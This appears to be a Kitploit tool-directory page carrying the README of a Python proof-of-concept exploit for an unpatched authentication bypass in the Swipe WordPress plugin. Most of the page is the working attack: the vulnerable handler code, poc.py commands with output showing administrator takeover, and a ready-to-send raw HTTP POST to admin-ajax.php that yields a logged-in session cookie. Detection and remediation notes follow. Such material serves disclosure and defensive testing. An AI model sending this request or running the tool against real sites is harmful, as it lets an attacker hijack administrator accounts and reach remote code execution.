Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-119258 — Python PoC and write-up for CVE-2026-119258, an unauthenticated authentication bypass in the Swipe WordPress plugin (<=1.4) that issues admin session cookies. | Kitploit
Tools/GitHubGitHub/llcforge/cve-2026-119258
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubllcforge/cve-2026-119258

CVE-2026-119258

Python PoC and write-up for CVE-2026-119258, an unauthenticated authentication bypass in the Swipe WordPress plugin (<=1.4) that issues admin session cookies.

View Repository
2 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    381
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    305

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-119258

Swipe WordPress Plugin — Unauthenticated Authentication Bypass

CVSS CWE Language Patch Disclosed


Overview

The Swipe WordPress plugin (all versions ≤ 1.4) exposes an unauthenticated AJAX handler that calls wp_set_auth_cookie() for any user ID found in the plugin's session table — with the nonce verification commented out. An attacker who knows or guesses the server's IP address can obtain a valid WordPress session cookie for any account that has an active Swipe app session, including administrators.

FieldValue
CVECVE-2026-119258
CVSS 3.18.1 High — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-287 (Improper Authentication)
AffectedSwipe plugin <= 1.4 (all releases)
PatchNo vendor patch at time of disclosure
WPScan ID2bb54d38-4fda-4f14-b27e-f50eca1287a3
Auth RequiredNone
Disclosed2026-11-18

Vulnerability Details

controller.php registers a public (unauthenticated) AJAX handler with its nonce check commented out:

add_action('wp_ajax_nopriv_swipe_check_app', array(&$this, 'swipe_check_app_callback'));

// nonce check is commented out:
if ( /*wp_verify_nonce( $nonce, 'swipe' ) &&*/ sanitize_text_field($_POST['login_check']) == 'app') {
    $get_user = $wpdb->get_row("select * from {$swipe} where ip_address = '{$ip}' AND ustatus = '1' AND is_logged_out = '0'");
    if ($get_user) {
        wp_set_auth_cookie($get_user->uid);  // ← no credential check
    }
}

The only requirement is a matching server IP address in the wp_swipe table with an active session (ustatus=1, is_logged_out=0).


Attack Flow

flowchart LR
    A([Attacker\nUnauthenticated]) -->|Enumerate server IP| B[WordPress Site\nSwipe <= 1.4]
    B -->|Server IP candidates| A
    A -->|POST /wp-admin/admin-ajax.php\naction=swipe_check_app\nlogin_check=app\nip=203.0.113.10| B
    B -->|wp_set_auth_cookie\nfor active Swipe user| C[Set-Cookie\nwordpress_logged_in_*]
    C --> D([Session Hijack\nAdmin Takeover])

    style A fill:#3d1a1a,stroke:#f85149,color:#f85149
    style D fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff

PoC Usage

Warning: Authorized testing on sites you own. The PoC requires at least one active Swipe app session on the target.

Setup

pip install -r requirements.txt
# requirements: requests

Automatic mode — fingerprint + candidate server IPs

python3 poc.py -u https://blog.example.com

Expected output — vulnerable site:

[*] target   : https://blog.example.com
[+] Swipe plugin detected (version: 1.4)
[+] nonce verification is commented out → vulnerable code path confirmed
[*] candidate server addresses: 203.0.113.10, 127.0.0.1, ::1
[+] bypass succeeded via 203.0.113.10
[+] session is valid against /wp-admin/
[+] authenticated as: admin
[+] session written to cookies.txt
    curl -b cookies.txt https://blog.example.com/wp-admin/

Known server IP

python3 poc.py -u https://blog.example.com --ip 203.0.113.10

Extra IP candidates (behind reverse proxy)

python3 poc.py -u https://blog.example.com --ip-list 10.0.0.5,172.18.0.1

Through Burp Suite

python3 poc.py -u https://blog.example.com --proxy http://127.0.0.1:8080

Check only — no exploitation

python3 poc.py -u https://blog.example.com --check-only

Manual HTTP reproduction

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: blog.example.com
Content-Type: application/x-www-form-urlencoded

action=swipe_check_app&login_check=app&ip=203.0.113.10

A response body of 1 plus a Set-Cookie: wordpress_logged_in_<hash>=... header confirms vulnerability.

Available flags

FlagDescription
-u URLTarget WordPress URL (required)
--ip IPKnown server IP address
--ip-list IPsComma-separated IP candidates
--proxy URLHTTP proxy for Burp Suite
--check-onlyFingerprint only, no exploitation

Detection

IndicatorNotes
Plugin versionGET /wp-content/plugins/swipe/readme.txt → Stable tag: 1.4
Commented nonceGET /wp-content/plugins/swipe/controller.php → contains /*wp_verify_nonce
Session cookie issued without loginAccess log: wordpress_logged_in_* set without prior wp-login.php POST

Impact

Full account takeover. With an administrator session the attacker can install arbitrary plugins, edit themes, and achieve Remote Code Execution.


Remediation

No vendor patch exists. Recommended mitigations:

ActionDetail
Deactivate/remove pluginIf the Swipe app is not in active use
Enforce 2FAOn administrator accounts
Restrict /wp-admin/ by IPWhere operationally feasible
Monitor session issuanceAlert on wordpress_logged_in_* cookies without prior login POST

References

  • WPScan Advisory: https://wpscan.com/vulnerability/2bb54d38-4fda-4f14-b27e-f50eca1287a3/
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-119258
  • Plugin Source: https://plugins.svn.wordpress.org/swipe/trunk/controller.php

Disclaimer: For authorized security research and controlled lab use only. MIT License.

Download Tool